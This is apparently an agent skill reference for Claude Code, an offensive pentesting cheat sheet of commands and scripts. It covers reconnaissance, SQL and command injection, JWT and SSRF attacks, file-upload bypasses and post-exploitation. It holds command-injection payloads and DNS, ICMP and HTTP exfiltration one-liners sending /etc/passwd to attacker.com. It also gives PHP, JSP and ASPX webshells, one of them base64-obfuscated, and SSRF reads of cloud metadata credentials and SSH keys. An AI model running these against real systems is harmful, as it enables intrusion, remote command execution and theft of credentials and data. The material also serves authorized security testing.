Advanced Exploitation Techniques for Comprehensive Pentesting

Overview

This reference provides advanced exploitation techniques combining OS tools, Playwright MCP browser automation, and manual testing patterns for comprehensive penetration testing. Claude Code has access to standard OS tools, Bash, and Playwright MCP for browser automation.

RECONNAISSANCE AND ENUMERATION

Subdomain Enumeration

# Passive enumeration
subfinder -d target.com -o subs.txt
assetfinder --subs-only target.com >> subs.txt
amass enum -passive -d target.com -o amass_subs.txt

# Certificate transparency logs
curl -s "https://crt.sh/?q=%.target.com&output=json" | jq -r '.[].name_value' | sort -u

# DNS brute force
dnsrecon -d target.com -D /usr/share/wordlists/subdomains.txt -t brt
gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt

# Verify live hosts
cat subs.txt | httpx -silent -o live_subs.txt

# Screenshot all live subdomains
cat live_subs.txt | aquatone

Port Scanning and Service Detection

# Quick TCP scan
nmap -sS -T4 -p- --min-rate=1000 target.com -oN nmap_full.txt

# Service version detection
nmap -sV -sC -p 80,443,8080,8443 target.com -oN nmap_services.txt

# UDP scan (common ports)
nmap -sU -T4 -p 53,67,68,69,123,161,162,500,514,1900 target.com

# Web server detection
whatweb -v target.com
nikto -h target.com -output nikto_results.txt

# Banner grabbing
nc -v target.com 80
echo "HEAD / HTTP/1.1\r\nHost: target.com\r\n\r\n" | nc target.com 80

Web Application Fingerprinting

# Technology stack detection
whatweb -a 3 target.com
wappalyzer-cli https://target.com

# CMS detection
wpscan --url https://target.com (WordPress)
droopescan scan drupal -u https://target.com (Drupal)
joomscan -u https://target.com (Joomla)

# JavaScript framework detection via Playwright
# Claude Code can use Playwright MCP to:
# 1. Navigate to target
# 2. Check for framework signatures:
#    - window.React
#    - window.Vue
#    - window.angular
#    - window.jQuery

DIRECTORY AND FILE DISCOVERY

Intelligent Fuzzing

# Directory brute-force
gobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt -o dirs.txt
feroxbuster -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt

# With extensions
gobuster dir -u https://target.com -w wordlist.txt -x php,asp,aspx,jsp,html,js,txt,bak

# Recursive scanning
feroxbuster -u https://target.com -w wordlist.txt -d 3 --no-state

# Common sensitive files
ffuf -u https://target.com/FUZZ -w sensitive-files.txt
# sensitive-files.txt should contain:
# .git/config
# .env
# .htaccess
# wp-config.php
# web.config
# backup.sql
# database.sql
# config.php.bak
# .DS_Store
# thumbs.db

Git Repository Exploitation

# Check for exposed .git
curl -s https://target.com/.git/config
curl -s https://target.com/.git/HEAD

# Dump entire repository
git-dumper https://target.com/.git/ dumped_repo/

# Analyze commits for secrets
cd dumped_repo
git log --all --oneline
git show <commit_hash>
trufflehog git file://./

# Search for sensitive patterns
git log -p | grep -E "(password|secret|api_key|token|auth)" -A 5 -B 5

API Endpoint Discovery

# Parameter discovery
arjun -u https://target.com/api/users
paramspider -d target.com

# GraphQL introspection
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{__schema{types{name,fields{name}}}}"}'

# OpenAPI/Swagger discovery
ffuf -u https://target.com/FUZZ -w api-docs-wordlist.txt
# Check: /swagger.json, /api-docs, /openapi.json, /swagger-ui.html

# Extract endpoints from JavaScript
# Using Playwright MCP:
# 1. Navigate to target
# 2. Get all script sources
# 3. Extract URL patterns: /api/*, fetch("*"), axios.*

INJECTION TESTING WITH TOOLS

SQL Injection with SQLMap

# Basic detection
sqlmap -u "https://target.com/page?id=1" --batch

# Full exploitation
sqlmap -u "https://target.com/page?id=1" --batch --dbs
sqlmap -u "https://target.com/page?id=1" --batch -D database_name --tables
sqlmap -u "https://target.com/page?id=1" --batch -D database_name -T users --dump

# POST request
sqlmap -u "https://target.com/login" --data="user=admin&pass=test" --batch

# From Burp request file
sqlmap -r request.txt --batch

# WAF bypass
sqlmap -u "https://target.com/page?id=1" --batch --tamper=space2comment,between

# OS command execution (if permissions allow)
sqlmap -u "https://target.com/page?id=1" --batch --os-shell

# Time-based blind
sqlmap -u "https://target.com/page?id=1" --batch --technique=T --time-sec=5

# Second-order injection
sqlmap -u "https://target.com/register" --data="email=test@test.com" \
  --second-url="https://target.com/profile" --batch

Command Injection Testing

# Using commix
commix -u "https://target.com/ping?host=127.0.0.1"
commix -u "https://target.com/process" --data="filename=test.txt"

# Manual testing patterns (use with Playwright or curl)
# Inline payloads:
; id
| whoami
|| whoami
& id
&& id
$(id)
`id`
%0aid
%0a%0did

# Blind detection with time delays:
; sleep 5
| sleep 5
& ping -c 5 127.0.0.1
`sleep 5`

# Out-of-band detection:
; curl http://attacker.com/$(whoami)
| nslookup $(whoami).attacker.com
; wget http://attacker.com/?data=$(cat /etc/passwd | base64)

XSS Testing Automation

# XSStrike
python3 xsstrike.py -u "https://target.com/search?q=test"
python3 xsstrike.py -u "https://target.com/search?q=test" --fuzzer
python3 xsstrike.py -u "https://target.com/search?q=test" --crawl

# Dalfox for DOM XSS
dalfox url "https://target.com/search?q=test"
dalfox file urls.txt --output xss_results.txt
dalfox url "https://target.com/search?q=test" --deep-domxss

# kxss for parameter testing
cat urls.txt | kxss

# With custom payload list
ffuf -u "https://target.com/search?q=FUZZ" -w xss_payloads.txt -mc all -fc 400

AUTHENTICATION ATTACKS

Password Attacks

# Hydra brute force
hydra -L users.txt -P passwords.txt target.com http-post-form \
  "/login:username=^USER^&password=^PASS^:Invalid credentials"

hydra -l admin -P /usr/share/wordlists/rockyou.txt target.com http-post-form \
  "/login:user=^USER^&pass=^PASS^:F=incorrect"

# With session handling
hydra -l admin -P passwords.txt -s 443 -S target.com https-post-form \
  "/login:user=^USER^&pass=^PASS^&csrf=TOKEN:F=Login failed"

# SSH brute force
hydra -L users.txt -P passwords.txt ssh://target.com

# FTP brute force
hydra -L users.txt -P passwords.txt ftp://target.com

JWT Attacks

# JWT_Tool comprehensive testing
jwt_tool <token> -X a  # Algorithm none attack
jwt_tool <token> -X k  # Key confusion (RS256→HS256)
jwt_tool <token> -X s  # Sign with empty/null key
jwt_tool <token> -X i  # JWKS injection
jwt_tool <token> -T    # Tamper payload
jwt_tool <token> -C -d /usr/share/wordlists/rockyou.txt  # Crack HS256 key

# Decode and analyze
jwt_tool <token>

# Exploit kid header path traversal
jwt_tool <token> -I -hc kid -hv "../../dev/null" -X s

# Manual JWT manipulation
# 1. Decode: echo "eyJ..." | base64 -d
# 2. Modify payload
# 3. Re-encode
# 4. Test algorithm none:
#    Header: {"alg":"none","typ":"JWT"}
#    Token: base64(header).base64(payload).

Session Attacks with Playwright

# Session Fixation Testing:
1. Use Playwright to get anonymous session
2. Capture session token
3. Navigate to login page
4. Login with credentials
5. Check if session token changed (should change)
6. If same = Session Fixation vulnerability

# Session Hijacking Test:
1. Login as User A
2. Capture session cookie
3. Create new browser context (Playwright)
4. Inject captured cookie
5. Navigate to authenticated page
6. Verify access = validates session security

# Concurrent Session Testing:
1. Login User A in Context 1
2. Login User A in Context 2
3. Check if Context 1 session invalidated
4. If both active = security issue

SSRF EXPLOITATION

Cloud Metadata Exploitation

# AWS metadata harvesting
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/user-data/

# GCP metadata
curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/
curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# Azure metadata
curl -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"

# Kubernetes metadata
curl http://kubernetes.default.svc/
curl http://kubernetes.default.svc/api/v1/namespaces

Internal Port Scanning via SSRF

# Time-based port detection
# Measure response time for:
http://127.0.0.1:22 (SSH - likely open, fast/slow)
http://127.0.0.1:80 (HTTP)
http://127.0.0.1:3306 (MySQL)
http://127.0.0.1:5432 (PostgreSQL)
http://127.0.0.1:6379 (Redis)
http://127.0.0.1:27017 (MongoDB)
http://127.0.0.1:9200 (Elasticsearch)
http://127.0.0.1:11211 (Memcached)

# Protocol exploitation via SSRF
# Redis command execution:
gopher://127.0.0.1:6379/_SET%20pwned%20%22test%22%0D%0A

# SMTP relay:
gopher://127.0.0.1:25/_HELO%20localhost%0D%0AMAIL%20FROM%3A...

# File read (if file:// protocol allowed):
file:///etc/passwd
file:///proc/self/environ
file:///home/user/.ssh/id_rsa

FILE UPLOAD EXPLOITATION

Bypass Techniques

# Extension bypass
shell.php → shell.php5, shell.phtml, shell.pHp, shell.php.jpg

# Content-Type bypass
Change: image/jpeg
To: application/x-php (but keep .jpg extension)

# Magic bytes bypass
# Add real image header:
GIF89a<?php system($_GET['c']); ?>
# Or PNG header + PHP:
echo -e '\x89\x50\x4e\x47\x0d\x0a\x1a\x0a<?php system($_GET["c"]); ?>' > shell.png.php

# Double extension
shell.php.jpg
shell.php%00.jpg (null byte - older systems)
shell.php;.jpg

# Case manipulation
shell.PhP
shell.pHP

# .htaccess upload (if allowed)
# Upload .htaccess with:
AddType application/x-httpd-php .jpg

# Then upload shell.jpg containing PHP code

# SVG with XSS
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.domain)</script>
</svg>

# SVG with SSRF
<svg xmlns="http://www.w3.org/2000/svg">
  <image href="http://internal-server/secret" />
</svg>

Webshell Deployment

// Simple PHP webshell
<?php system($_GET['c']); ?>

// More stealthy
<?php $a=$_GET['a'];$a($b=$_GET['b']); ?>
// Usage: ?a=system&b=id

// Obfuscated
<?php $x=base64_decode('c3lzdGVt');$x($_GET['c']); ?>

// Using eval
<?php eval($_POST['code']); ?>

// JSP webshell
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

// ASPX webshell
<%@ Page Language="C#" %>
<% System.Diagnostics.Process.Start("cmd.exe", "/c " + Request["cmd"]); %>

PLAYWRIGHT MCP ADVANCED PATTERNS

Automated Vulnerability Discovery

// Full crawling with API capture
const discoveredAPIs = [];
const forms = [];

page.on('request', request => {
  if (request.url().includes('/api/') || request.resourceType() === 'xhr') {
    discoveredAPIs.push({
      url: request.url(),
      method: request.method(),
      headers: request.headers(),
      postData: request.postData()
    });
  }
});

// Navigate and interact
await page.goto(targetUrl);
await page.waitForLoadState('networkidle');

// Extract all forms
const formData = await page.evaluate(() => {
  const forms = document.querySelectorAll('form');
  return Array.from(forms).map(form => ({
    action: form.action,
    method: form.method,
    inputs: Array.from(form.querySelectorAll('input, textarea, select')).map(input => ({
      name: input.name,
      type: input.type,
      value: input.value
    }))
  }));
});

Authenticated Testing

// Login and maintain session
async function authenticatedScan(page, loginUrl, username, password) {
  // Navigate to login
  await page.goto(loginUrl);

  // Fill credentials
  await page.fill('input[name="username"]', username);
  await page.fill('input[name="password"]', password);
  await page.click('button[type="submit"]');

  // Wait for authentication
  await page.waitForNavigation();

  // Verify logged in
  const authenticated = await page.evaluate(() => {
    return document.body.innerText.includes('Dashboard') ||
           document.querySelector('.user-profile') !== null;
  });

  // Capture session cookies
  const cookies = await page.context().cookies();
  const sessionCookie = cookies.find(c =>
    c.name.toLowerCase().includes('session') ||
    c.name.toLowerCase().includes('token')
  );

  return { authenticated, sessionCookie, cookies };
}

IDOR Automated Testing

// Test IDOR across ID ranges
async function testIDOR(page, baseUrl, currentUserId) {
  const vulnerabilities = [];

  // Test sequential IDs around current user
  for (let id = currentUserId - 10; id <= currentUserId + 10; id++) {
    if (id === currentUserId) continue;

    const testUrl = baseUrl.replace('{id}', id);
    const response = await page.goto(testUrl);

    // Check if unauthorized data returned
    const content = await page.content();
    if (response.status() === 200 &&
        !content.includes('Access Denied') &&
        !content.includes('Unauthorized')) {
      vulnerabilities.push({
        url: testUrl,
        type: 'IDOR',
        severity: 'HIGH',
        evidence: content.substring(0, 500)
      });
    }
  }

  return vulnerabilities;
}

Business Logic Testing

// Race condition testing
async function testRaceCondition(page, endpoint, payload, count = 10) {
  const promises = [];

  // Create parallel requests
  for (let i = 0; i < count; i++) {
    promises.push(
      page.evaluate(async (url, data) => {
        const response = await fetch(url, {
          method: 'POST',
          headers: {'Content-Type': 'application/json'},
          body: JSON.stringify(data)
        });
        return {
          status: response.status,
          body: await response.text()
        };
      }, endpoint, payload)
    );
  }

  // Execute simultaneously
  const results = await Promise.all(promises);

  // Check for successful duplicates
  const successes = results.filter(r => r.status === 200);
  if (successes.length > 1) {
    return {
      vulnerable: true,
      type: 'Race Condition',
      successCount: successes.length,
      expectedMax: 1
    };
  }

  return { vulnerable: false };
}

// Price manipulation testing
async function testPriceManipulation(page, checkoutUrl) {
  // Intercept and modify requests
  await page.route('**/api/checkout', route => {
    const request = route.request();
    let postData = JSON.parse(request.postData());

    // Modify price
    if (postData.price) {
      postData.price = 0.01;
    }
    if (postData.total) {
      postData.total = 0.01;
    }
    if (postData.quantity) {
      postData.quantity = -1;  // Test negative quantity
    }

    route.continue({
      postData: JSON.stringify(postData)
    });
  });

  // Trigger checkout
  await page.click('#checkout-button');

  // Check result
  const orderConfirmed = await page.waitForSelector('.order-confirmed', {timeout: 5000})
    .catch(() => null);

  return { manipulationWorked: orderConfirmed !== null };
}

POST-EXPLOITATION

Privilege Escalation Checks

# Linux privilege escalation enumeration
# SUID binaries
find / -perm -4000 -type f 2>/dev/null

# Writable /etc/passwd
ls -la /etc/passwd

# Sudo permissions
sudo -l

# Cron jobs
cat /etc/crontab
ls -la /etc/cron.*

# Kernel version
uname -a
cat /etc/os-release

# Running processes
ps aux

# Network connections
netstat -tulpn

# Capabilities
getcap -r / 2>/dev/null

# Automated enumeration
./linpeas.sh
./linux-exploit-suggester.sh

Data Exfiltration Techniques

# DNS exfiltration
cat /etc/passwd | xxd -p | tr -d '\n' | fold -w 63 | \
  while read line; do nslookup $line.attacker.com; done

# ICMP exfiltration
cat /etc/passwd | xxd -p | while read line; do \
  ping -c 1 -p $line attacker.com; done

# HTTP exfiltration
curl -X POST http://attacker.com/exfil -d "data=$(base64 /etc/passwd)"
wget --post-file=/etc/passwd http://attacker.com/exfil

# Out-of-band via SQL injection
SELECT LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\a'));

NUCLEI INTEGRATION

Running Nuclei Scans

# Full vulnerability scan
nuclei -l urls.txt -t nuclei-templates/ -o results.txt

# CVE-focused
nuclei -l urls.txt -t nuclei-templates/cves/ -severity critical,high

# Specific vulnerability classes
nuclei -l urls.txt -t nuclei-templates/vulnerabilities/
nuclei -l urls.txt -t nuclei-templates/exposures/
nuclei -l urls.txt -t nuclei-templates/misconfiguration/

# Technology-specific
nuclei -l urls.txt -t nuclei-templates/technologies/
nuclei -l urls.txt -tags wordpress
nuclei -l urls.txt -tags apache

# With rate limiting
nuclei -l urls.txt -t nuclei-templates/ -rate-limit 100

# Output formats
nuclei -l urls.txt -t nuclei-templates/ -o results.json -json
nuclei -l urls.txt -t nuclei-templates/ -o results.md -markdown

Custom Nuclei Templates

# Custom SSRF detection template
id: custom-ssrf-detection

info:
  name: Custom SSRF Detection
  severity: high
  tags: ssrf

requests:
  - method: GET
    path:
      - "{{BaseURL}}/fetch?url={{interactsh-url}}"
      - "{{BaseURL}}/proxy?target={{interactsh-url}}"
      - "{{BaseURL}}/redirect?to={{interactsh-url}}"

    matchers-condition: or
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"

REPORTING EVIDENCE COLLECTION

Screenshot Capture with Playwright

// Capture vulnerability evidence
async function captureEvidence(page, vulnerabilityType, finding) {
  const timestamp = Date.now();
  const filename = `evidence/${vulnerabilityType}_${timestamp}.png`;

  // Full page screenshot
  await page.screenshot({
    path: filename,
    fullPage: true
  });

  // Capture network logs
  const networkLogs = [];
  page.on('response', response => {
    networkLogs.push({
      url: response.url(),
      status: response.status(),
      headers: response.headers()
    });
  });

  // Save request/response
  const evidenceData = {
    timestamp: new Date().toISOString(),
    type: vulnerabilityType,
    finding: finding,
    screenshot: filename,
    url: page.url(),
    networkLogs: networkLogs
  };

  return evidenceData;
}

Request/Response Logging

# Capture with mitmproxy
mitmproxy -w traffic.mitm

# Capture with tcpdump
tcpdump -i eth0 -w capture.pcap port 80 or port 443

# Export from Burp
# Right-click → Save item → Save both request and response

# Parse HAR files
cat traffic.har | jq '.log.entries[] | {url: .request.url, status: .response.status}'

SECURITY TOOL QUICK REFERENCE

Essential Commands

# OWASP ZAP CLI
zap-cli quick-scan --self-contained -r report.html https://target.com

# Nikto
nikto -h https://target.com -output nikto.html -Format htm

# SSLyze
sslyze --regular target.com:443

# testssl.sh
./testssl.sh https://target.com

# WPScan
wpscan --url https://target.com -e vp,vt,u

# Amass
amass enum -d target.com -o subdomains.txt

# Subfinder
subfinder -d target.com -all -o subs.txt

# HTTPx
cat subs.txt | httpx -silent -title -status-code -tech-detect

# Katana (crawler)
katana -u https://target.com -o crawled_urls.txt

Use these techniques responsibly and only with explicit authorization.

/dast-automation

dast-automationreferencesadvanced_exploitation_techniques.md